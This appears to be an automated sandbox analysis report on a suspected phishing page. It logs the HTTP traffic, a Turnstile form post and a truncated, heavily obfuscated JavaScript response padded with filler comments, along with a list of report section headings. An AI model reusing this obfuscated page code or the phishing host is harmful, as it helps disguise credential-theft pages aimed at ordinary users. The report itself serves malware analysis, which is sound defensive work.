2025-03-18 12:42:37 UTC	1053	IN	Data Raw: 4b 32 76 48 47 74 65 2f 7a 79 2f 54 55 38 62 37 37 77 76 58 46 30 75 6a 35 31 2f 76 4d 42 2f 41 51 30 4f 77 4a 44 39 55 43 36 42 6b 51 43 2b 33 71 44 68 45 56 43 51 45 58 41 42 44 62 46 66 6e 79 2b 43 45 48 35 66 73 4a 4a 79 6a 39 49 69 72 2b 42 53 63 67 42 76 55 71 39 6a 45 79 4d 6a 55 31 4e 54 67 37 45 7a 34 6a 4b 51 45 4a 52 53 6b 58 51 43 68 49 50 43 6f 2b 4e 53 64 4a 4d 54 64 56 51 31 55 39 48 42 35 4b 4c 7a 73 30 55 56 73 33 5a 46 6f 6c 57 56 35 59 56 47 52 41 58 6d 63 70 51 6d 6b 76 50 32 5a 52 53 45 70 53 63 30 74 70 56 6d 74 63 59 6c 70 33 65 6b 39 32 66 56 6c 6e 69 58 35 70 56 6b 35 6d 63 55 71 48 69 6f 74 6e 6c 49 53 51 62 34 75 56 68 49 68 72 6d 58 74 61 6c 35 6c 68 64 6e 61 53 6e 34 4f 47 6e 32 64 2f 66 4b 65 59 6d 58 36 4b 6c 4b 43 49 70 71 Data Ascii: K2vHGte/zy/TU8b77wvXF0uj51/vMB/AQ0OwJD9UC6BkQC+3qDhEVCQEXABDbFfny+CEH5fsJJyj9Iir+BScgBvUq9jEyMjU1NTg7Ez4jKQEJRSkXQChIPCo+NSdJMTdVQ1U9HB5KLzs0UVs3ZFolWV5YVGRAXmcpQmkvP2ZRSEpSc0tpVmtcYlp3ek92fVlniX5pVk5mcUqHiotnlISQb4uVhIhrmXtal5lhdnaSn4OGn2d/fKeYmX6KlKCIpq

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:37 UTC	949	OUT	POST /IFEXy/ HTTP/1.1 Host: bonsoiree.mareanebulosasao.it.com Connection: keep-alive Content-Length: 987 Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Origin: https://bonsoiree.mareanebulosasao.it.com Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://bonsoiree.mareanebulosasao.it.com/IFEXy/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=6pscjhb0e16aajvi4vl1e2m011
2025-03-18 12:42:37 UTC	987	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 4d 31 34 68 43 78 36 31 57 49 4e 4c 69 62 4f 62 74 67 55 49 6c 50 46 4e 73 4e 78 61 76 34 4f 5f 31 4a 53 59 7a 6a 6c 31 67 4b 64 74 45 4b 55 41 44 7a 4a 68 31 75 35 4c 6f 61 76 52 5a 59 64 48 50 51 75 4d 68 6f 73 4f 62 2d 77 4f 59 75 57 46 59 53 37 51 65 33 47 5a 47 31 47 55 31 45 67 46 71 4d 6d 61 6b 59 4d 76 72 41 36 50 4c 48 68 53 44 38 76 6c 72 47 6d 78 78 78 62 44 6e 42 74 70 53 72 47 71 4d 4c 4d 46 6e 5f 6f 36 48 79 46 53 72 42 7a 42 79 57 53 31 36 45 37 43 30 61 49 76 73 50 41 52 62 4e 73 72 66 2d 51 52 31 59 46 48 31 4d 77 75 6e 56 4b 78 33 69 59 4d 70 47 71 50 49 66 30 61 6d 62 46 6c 37 71 55 64 39 37 36 50 31 68 63 76 42 6c 69 4f 73 6f 74 6b 4f 76 63 57 78 45 6e 7a 56 54 33 Data Ascii: cf-turnstile-response=0.M14hCx61WINLibObtgUIlPFNsNxav4O_1JSYzjl1gKdtEKUADzJh1u5LoavRZYdHPQuMhosOb-wOYuWFYS7Qe3GZG1GU1EgFqMmakYMvrA6PLHhSD8vlrGmxxxbDnBtpSrGqMLMFn_o6HyFSrBzByWS16E7C0aIvsPARbNsrf-QR1YFH1MwunVKx3iYMpGqPIf0ambFl7qUd976P1hcvBliOsotkOvcWxEnzVT3
2025-03-18 12:42:38 UTC	944	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:42:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QWJOqZWLO0xT47wsbjD49A60nU5WuisBmbyiDKbMMu2K3EzJOY9wzpzW9U6VUjKTEENSL1ZZisv6fN1Kg5XEazNh9e%2BD9WpB2tLPZrRkY0nGd1thibBlgUWD3nnTZ2PF2AEDRGFYPgev1Q5vL78J4gUFg7M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9224cfa29a5a5e74-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1653&rtt_var=632&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2861&recv_bytes=2530&delivery_rate=1713615&cwnd=137&unsent_bytes=0&cid=90c621f78d32321d&ts=553&x=0"
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 33 35 62 62 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 4d 65 61 74 62 61 6c 6c 20 75 6c 6c 61 6d 63 6f 20 63 68 75 63 6b 20 66 72 61 6e 6b 66 75 72 74 65 72 2e 3c 2f 73 70 61 6e 3e 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 6c 65 74 20 72 68 31 33 7a 38 6a 65 6d 74 20 3d 20 27 27 3b 2f 2f 20 41 6c 69 71 75 61 20 64 75 69 73 20 73 77 69 6e 65 20 74 2d 62 6f 6e 65 20 73 68 6f 72 74 20 72 69 62 73 20 75 6c 6c 61 6d 63 6f 20 69 70 73 75 6d 20 65 73 73 65 20 6f 66 66 69 63 69 61 20 6c 65 62 65 72 6b 61 73 20 6b 69 65 6c 62 61 73 61 20 73 68 6f 75 6c 64 65 72 20 63 6f 72 6e 65 64 20 62 65 65 66 2e 0a 66 75 6e 63 74 69 6f 6e 20 55 73 41 30 62 62 77 28 29 7b 7d 76 61 72 20 42 50 39 67 46 65 76 3d 4f 62 6a 65 63 74 5b 27 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 27 5d Data Ascii: 35bb... <span>Meatball ullamco chuck frankfurter.</span> --><script>let rh13z8jemt = '';// Aliqua duis swine t-bone short ribs ullamco ipsum esse officia leberkas kielbasa shoulder corned beef.function UsA0bbw(){}var BP9gFev=Object['defineProperty']
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 2c 27 2b 78 77 4a 26 5d 2c 27 2c 27 76 4a 63 43 4b 48 64 7b 27 2c 27 56 26 64 6c 27 2c 27 7a 68 57 39 23 49 60 3c 7d 35 6b 27 2c 27 7d 7a 77 74 41 73 55 31 27 2c 27 59 59 79 3f 52 27 2c 27 50 22 64 7c 6b 4e 74 4e 44 6d 53 33 48 21 5d 34 76 25 27 2c 27 57 40 6a 73 31 4a 61 5f 5f 57 36 61 25 27 2c 27 3a 6d 46 41 7d 48 64 7b 27 2c 27 43 24 78 42 6f 49 60 3c 7d 35 6b 27 2c 27 32 59 4f 5a 33 7e 48 32 58 6c 4a 4b 25 27 2c 27 73 23 69 7c 62 4e 44 47 42 6c 28 78 59 68 22 27 2c 27 3d 50 76 39 78 4a 24 3d 6c 59 45 73 60 67 27 2c 27 73 23 69 7c 62 4e 3b 25 27 2c 27 26 6b 6e 74 53 75 2f 31 27 2c 27 3d 50 76 39 3e 4d 49 3d 46 24 21 6a 28 61 2f 27 2c 27 4a 28 4b 70 55 5d 4f 52 5b 3b 34 78 5d 50 6e 55 6c 2a 27 2c 27 52 28 69 7c 43 4a 32 47 2f 5d 56 78 5b 60 47 62 60 25 Data Ascii: ,'+xwJ&],','vJcCKHd{','V&dl','zhW9#I`<}5k','}zwtAsU1','YYy?R','P"d\|kNtNDmS3H!]4v%','W@js1Ja__W6a%',':mFA}Hd{','C$xBoI`<}5k','2YOZ3~H2XlJK%','s#i\|bNDGBl(xYh"','=Pv9xJ$=lYEs`g','s#i\|bN;%','&kntSu/1','=Pv9>MI=F$!j(a/','J(KpU]OR[;4x]PnUl*','R(i\|CJ2G/]Vx[`Gb`%
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 69 73 6c 53 31 21 65 5f 5e 5a 7d 56 57 75 65 75 3b 39 27 2c 27 3d 6a 47 4d 51 46 5a 74 4d 3a 7e 5f 78 53 69 35 49 55 74 70 2c 6a 58 6a 74 35 4e 25 6b 62 38 55 7c 45 6c 53 4e 3e 41 57 45 27 2c 27 3f 78 7a 5a 24 49 43 51 51 74 59 3f 5d 57 68 2e 23 24 6f 64 65 68 43 2a 27 2c 27 30 4f 44 7d 5e 44 79 6f 46 71 70 3f 22 2b 28 2b 45 7b 6b 7d 76 28 42 77 3b 7b 25 6f 70 31 27 2c 27 4b 6b 65 67 65 68 2c 27 2c 27 6c 26 6f 42 3a 6b 4c 3c 2a 7e 79 27 2c 27 56 65 28 53 6f 6b 68 60 4f 3b 5a 58 41 5f 66 5e 28 4f 37 70 39 57 6d 30 65 24 28 7e 52 44 3a 27 2c 27 58 24 3a 72 21 75 71 3d 64 3b 47 46 59 75 6e 28 48 4f 24 30 6f 52 3e 52 49 2f 6a 4d 66 75 31 34 67 26 58 39 3a 2b 6a 3d 67 27 2c 27 55 4f 6a 30 4b 2e 4c 56 72 51 57 27 2c 27 56 26 41 67 6d 4c 6d 65 6b 24 65 77 23 49 Data Ascii: islS1!e_^Z}VWueu;9','=jGMQFZtM:~_xSi5IUtp,jXjt5N%kb8U\|ElSN>AWE','?xzZ$ICQQtY?]Wh.#$odehC','0OD}^DyoFqp?"+(+E{k}v(Bw;{%op1','Kkegeh,','l&oB:kL<~y','Ve(Sokh`O;ZXA_f^(O7p9Wm0e$(~RD:','X$:r!uq=d;GFYun(HO$0oR>RI/jMfu14g&X9:+j=g','UOj0K.LVrQW','V&AgmLmek$ew#I
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 50 57 43 35 4b 3c 27 2c 27 69 7b 36 52 55 23 78 73 55 3c 2b 37 32 5d 4c 56 5f 2e 26 39 61 41 66 55 3b 6b 55 36 77 25 27 2c 27 76 7a 68 67 2a 41 42 6a 29 3b 71 4d 54 67 2f 35 28 52 6a 4d 28 57 28 52 72 51 69 61 23 3f 4a 41 51 36 33 53 34 77 2f 31 27 2c 27 65 55 4c 77 6e 4b 62 2b 32 5a 3d 59 73 58 3a 55 48 34 60 70 5d 6b 44 3c 42 7c 22 7b 2a 27 2c 27 30 6b 50 4d 6c 49 2e 57 73 51 3e 44 6a 2e 60 35 68 2c 27 2c 27 43 4f 36 52 72 44 23 2a 41 3b 36 60 2b 40 4b 35 23 49 7b 39 28 61 23 56 4c 58 69 6f 2c 27 2c 27 56 6b 73 4d 4a 4c 47 5d 76 35 2a 31 4e 64 56 35 4f 7d 6a 44 39 73 37 35 3f 34 6b 39 2a 27 2c 27 39 6a 37 67 7b 77 51 6b 72 2f 76 5f 2f 2b 2c 62 62 78 25 27 2c 27 73 24 5f 68 32 2b 3e 6a 53 24 6b 67 58 32 2a 7a 5e 78 4b 67 27 2c 27 7e 78 77 6c 7d 6e 6e 2f Data Ascii: PWC5K<','i{6RU#xsU<+72]LV_.&9aAfU;kU6w%','vzhgABj);qMTg/5(RjM(W(RrQia#?JAQ63S4w/1','eULwnKb+2Z=YsX:UH4`p]kD<B\|"{','0kPMlI.WsQ>Dj.`5h,','CO6RrD#A;6`+@K5#I{9(a#VLXio,','VksMJLG]v51NdV5O}jD9s75?4k9','9j7g{wQkr/v_/+,bbx%','s$_h2+>jS$kgX2z^xKg','~xwl}nn/
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 4e 68 4d 59 60 61 56 63 3a 29 65 3e 32 30 4b 27 2c 27 47 7c 7a 7d 77 78 71 58 30 58 2b 28 64 40 25 62 29 5f 74 70 2f 4b 61 3c 75 6b 69 3d 58 79 63 28 39 55 64 6c 38 2b 46 31 27 2c 27 30 57 79 7d 51 4c 2c 2b 25 46 69 58 30 4e 5e 35 78 49 61 4c 6a 51 75 56 57 35 26 60 4e 4e 7e 34 36 2e 34 7d 2c 4c 5a 51 38 46 3e 51 48 3f 6c 27 2c 27 58 48 53 52 77 2e 24 31 7e 51 79 78 47 79 55 4b 78 78 64 33 74 58 75 2a 52 7c 69 3c 2f 75 23 41 48 78 53 65 50 4c 5a 3c 64 27 2c 27 22 70 3f 23 2e 4f 64 2a 61 3a 78 4d 5b 3a 38 53 48 4e 2a 53 73 51 78 73 32 51 31 73 78 58 2b 70 3c 6b 79 3d 6b 78 59 31 27 2c 27 4a 43 72 53 38 32 32 6b 30 3c 4d 4a 28 3a 51 3d 22 48 4b 23 79 75 64 30 52 59 63 4a 6c 3a 56 41 7b 55 4e 53 31 2b 4a 2a 27 2c 27 73 4e 3e 4d 75 43 2b 58 59 7d 4d 52 53 38 Data Ascii: NhMY`aVc:)e>20K','G\|z}wxqX0X+(d@%b)_tp/Ka<uki=Xyc(9Udl8+F1','0Wy}QL,+%FiX0N^5xIaLjQuVW5&`NN~46.4},LZQ8F>QH?l','XHSRw.$1~QyxGyUKxxd3tXuR\|i</u#AHxSePLZ<d','"p?#.Oda:xM[:8SHNSsQxs2Q1sxX+p<ky=kxY1','JCrS822k0<MJ(:Q="HK#yud0RYcJl:VA{UNS1+J','sN>MuC+XY}MRS8
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 7b 72 46 40 45 2a 27 2c 27 45 51 28 6f 7c 3f 45 3d 70 2f 41 27 2c 27 49 7d 4c 4d 3e 24 7c 60 34 5a 68 46 4c 5f 55 7b 42 7b 5f 36 28 44 3d 5d 53 43 4c 27 2c 27 3d 2e 2c 72 42 32 4f 5d 49 46 45 58 7a 4e 46 7a 24 43 5b 23 41 73 52 28 5a 59 4d 5d 6b 32 63 65 27 2c 27 4d 71 43 4a 64 2b 64 3c 2f 34 54 67 40 50 70 2b 31 65 33 42 39 68 6b 7a 50 2f 5d 46 6e 43 3f 70 4e 2a 27 2c 27 78 7c 47 70 7c 6e 76 3c 71 34 5e 4c 4a 46 24 3d 26 7c 68 36 35 3e 53 56 40 51 3a 53 4c 5f 40 59 2f 52 66 44 42 47 37 73 51 71 45 78 4d 68 67 70 27 2c 27 34 39 2f 4a 30 24 50 32 2e 3c 34 25 32 5d 29 57 2f 44 25 27 2c 27 47 32 75 60 5f 7d 77 73 27 2c 27 5f 70 5b 6a 7d 3f 67 73 27 2c 27 38 67 41 2c 2a 6e 57 4e 5d 27 2c 27 5f 48 2b 45 3e 49 7b 36 27 2c 27 34 34 70 58 48 67 39 27 2c 27 42 76 Data Ascii: {rF@E','EQ(o\|?E=p/A','I}LM>$\|`4ZhFL_U{B{_6(D=]SCL','=.,rB2O]IFEXzNFz$C[#AsR(ZYM]k2ce','MqCJd+d</4Tg@Pp+1e3B9hkzP/]FnC?pN','x\|Gp\|nv<q4^LJF$=&\|h65>SV@Q:SL_@Y/RfDBG7sQqExMhgp','49/J0$P2.<4%2])W/D%','G2u`_}ws','_p[j}?gs','8gA,*nWN]','_H+E>I{6','44pXHg9','Bv
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 52 2e 3c 39 5a 36 78 5e 79 46 2b 55 7d 73 45 7d 51 61 57 6a 7b 57 6c 73 38 62 36 44 45 35 4a 6b 4a 25 6f 38 46 72 6d 39 73 41 4b 67 7a 70 4d 67 4c 3d 3b 3b 2f 65 4d 72 67 70 3d 7d 68 24 77 50 4d 3a 62 4e 7c 45 3c 35 3a 36 2b 5b 5a 7a 23 71 78 5a 30 50 51 71 67 58 32 3e 4e 4a 4f 30 7d 6d 33 6b 2a 55 3c 23 79 51 4b 51 7a 5b 4f 70 4d 34 4d 65 74 3b 2f 3d 60 36 67 63 5b 77 5a 41 67 2b 22 44 56 45 6c 55 49 2f 53 69 41 24 7c 60 68 48 4f 7b 77 24 51 3b 5d 4b 79 5e 70 26 4f 34 7d 56 61 54 3d 6d 71 63 2a 3f 50 46 7a 2e 59 66 23 32 48 38 77 4d 71 35 4c 59 25 69 4e 55 2f 28 78 3d 22 3f 77 61 69 3c 2e 60 62 30 4b 51 7c 24 36 35 60 51 65 50 7b 71 5d 75 31 3f 70 51 36 49 7d 41 61 40 77 36 24 3d 70 74 46 30 4b 59 59 54 65 3b 6a 30 79 72 50 2b 3f 7a 38 34 41 56 4e 4b 36 Data Ascii: R.<9Z6x^yF+U}sE}QaWj{Wls8b6DE5JkJ%o8Frm9sAKgzpMgL=;;/eMrgp=}h$wPM:bN\|E<5:6+[Zz#qxZ0PQqgX2>NJO0}m3kU<#yQKQz[OpM4Met;/=`6gc[wZAg+"DVElUI/SiA$\|`hHO{w$Q;]Ky^p&O4}VaT=mqc?PFz.Yf#2H8wMq5LY%iNU/(x="?wai<.`b0KQ\|$65`QeP{q]u1?pQ6I}Aa@w6$=ptF0KYYTe;j0yrP+?z84AVNK6
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 31 2f 60 50 63 2b 47 5b 56 4e 31 27 2c 27 56 7c 40 5a 74 58 55 55 2f 3a 23 2a 75 6a 3b 3d 3a 55 3a 70 6f 49 38 77 59 35 72 24 59 50 39 7a 5f 45 79 45 51 6e 74 56 7b 6b 4e 3c 2f 25 76 2b 33 2e 33 53 6b 51 30 3c 59 3b 5d 39 53 33 36 57 72 45 7e 39 56 61 3d 3d 36 34 4b 23 4e 4b 56 79 3b 24 4f 74 21 7d 66 62 44 50 66 76 78 50 28 7a 77 2f 7b 6f 7e 3f 79 6f 5a 4c 5a 49 5e 79 65 34 44 5a 6f 64 6b 5f 30 3c 59 3b 4d 51 39 43 62 28 51 23 4a 68 6b 4a 65 60 54 24 57 25 73 4b 45 7b 71 28 56 45 64 4c 44 3c 33 2f 49 23 25 4b 65 7a 7d 2f 34 3d 38 72 22 6b 21 59 5d 44 2a 49 4e 2b 4e 7d 60 68 37 73 3a 3b 6e 7d 6d 5f 24 3a 79 28 7d 45 4f 4e 4d 33 39 77 7e 50 34 4f 6d 50 56 79 75 48 7c 42 39 7d 3b 4f 3d 7e 56 23 6e 25 51 2b 36 52 62 45 41 38 5a 6f 42 6c 4e 78 51 5f 63 40 46 Data Ascii: 1/`Pc+G[VN1','V\|@ZtXUU/:#uj;=:U:poI8wY5r$YP9z_EyEQntV{kN</%v+3.3SkQ0<Y;]9S36WrE~9Va==64K#NKVy;$Ot!}fbDPfvxP(zw/{o~?yoZLZI^ye4DZodk_0<Y;MQ9Cb(Q#JhkJe`T$W%sKE{q(VEdLD<3/I#%Kez}/4=8r"k!Y]DIN+N}`h7s:;n}m_$:y(}EONM39w~P4OmPVyuH\|B9};O=~V#n%Q+6RbEA8ZoBlNxQ_c@F
2025-03-18 12:42:38 UTC	1369	IN	Data Raw: 2b 21 6a 45 3c 2c 73 57 4e 24 2b 3f 59 49 7d 5b 60 78 3c 6a 7e 4d 39 4e 64 4c 28 38 70 7d 70 2e 57 75 30 24 50 2a 3f 67 53 56 4b 68 48 70 3d 49 44 29 30 70 37 4a 46 6f 4e 62 5e 76 5a 69 39 61 3f 35 3c 65 7b 68 57 59 73 2f 4b 2b 4e 70 36 35 60 5d 28 5d 51 5d 39 45 32 68 70 6c 68 2f 4c 2f 2b 21 55 38 46 72 6d 42 53 5e 4b 29 59 6d 77 59 55 75 3c 37 35 29 46 21 32 6c 4e 3d 52 40 3d 24 3f 5a 6f 34 50 50 2e 2f 53 58 5e 5f 7c 44 78 61 78 65 57 46 42 2b 6c 73 38 41 70 30 7b 3c 4c 57 73 56 2a 42 34 32 2a 53 4b 45 7b 37 68 78 42 29 48 3c 35 25 5a 70 24 51 38 33 55 53 6a 4b 36 29 22 78 56 72 6b 3c 7a 5d 50 5d 55 5a 6b 6c 3f 65 73 7c 56 4d 7c 68 69 6b 49 71 28 2a 6b 2a 27 2c 27 7d 7a 77 74 41 73 47 62 4d 24 48 23 2a 27 2c 27 53 26 5b 70 63 4d 21 5d 5e 59 27 5d 29 3b Data Ascii: +!jE<,sWN$+?YI}[`x<j~M9NdL(8p}p.Wu0$P?gSVKhHp=ID)0p7JFoNb^vZi9a?5<e{hWYs/K+Np65`](]Q]9E2hplh/L/+!U8FrmBS^K)YmwYUu<75)F!2lN=R@=$?Zo4PP./SX^_\|DxaxeWFB+ls8Ap0{<LWsVB42SKE{7hxB)H<5%Zp$Q83USjK6)"xVrk<z]P]UZkl?es\|VM\|hikIq(k','}zwtAsGbM$H#','S&[pcM!]^Y']);

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://bonsoiree.mareanebulosasao.it.com/IFEXy

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
https://bonsoiree.mareanebulosasao.it.com/IFEXy

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:42:38 UTC	699	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive Origin: https://bonsoiree.mareanebulosasao.it.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://bonsoiree.mareanebulosasao.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:42:39 UTC	612	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2961584 Date: Tue, 18 Mar 2025 12:42:39 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740071-EWR X-Cache: HIT, HIT X-Cache-Hits: 507, 0 X-Timer: S1742301759.007005,VS0,VE1 Vary: Accept-Encoding
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
2025-03-18 12:42:39 UTC	1378	IN	Data Raw: 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6b 2e 63 61 6c 6c 28 61 29 29 26 26 28 21 28 62 3d 65 28 61 29 29 7c 7c 28 63 3d 6c 2e 63 61 6c 6c 28 62 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 62 2e 63 6f 6e 73 74 72 75 63 74 6f 72 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 63 26 26 6d 2e 63 61 6c 6c 28 63 29 3d 3d 3d 6e 29 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 66 6f 72 28 62 20 69 6e 20 61 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 74 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 61 3f 61 2b 22 22 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: ject Object]"!==k.call(a))&&(!(b=e(a))\|\|(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a\|\|"function"==typ
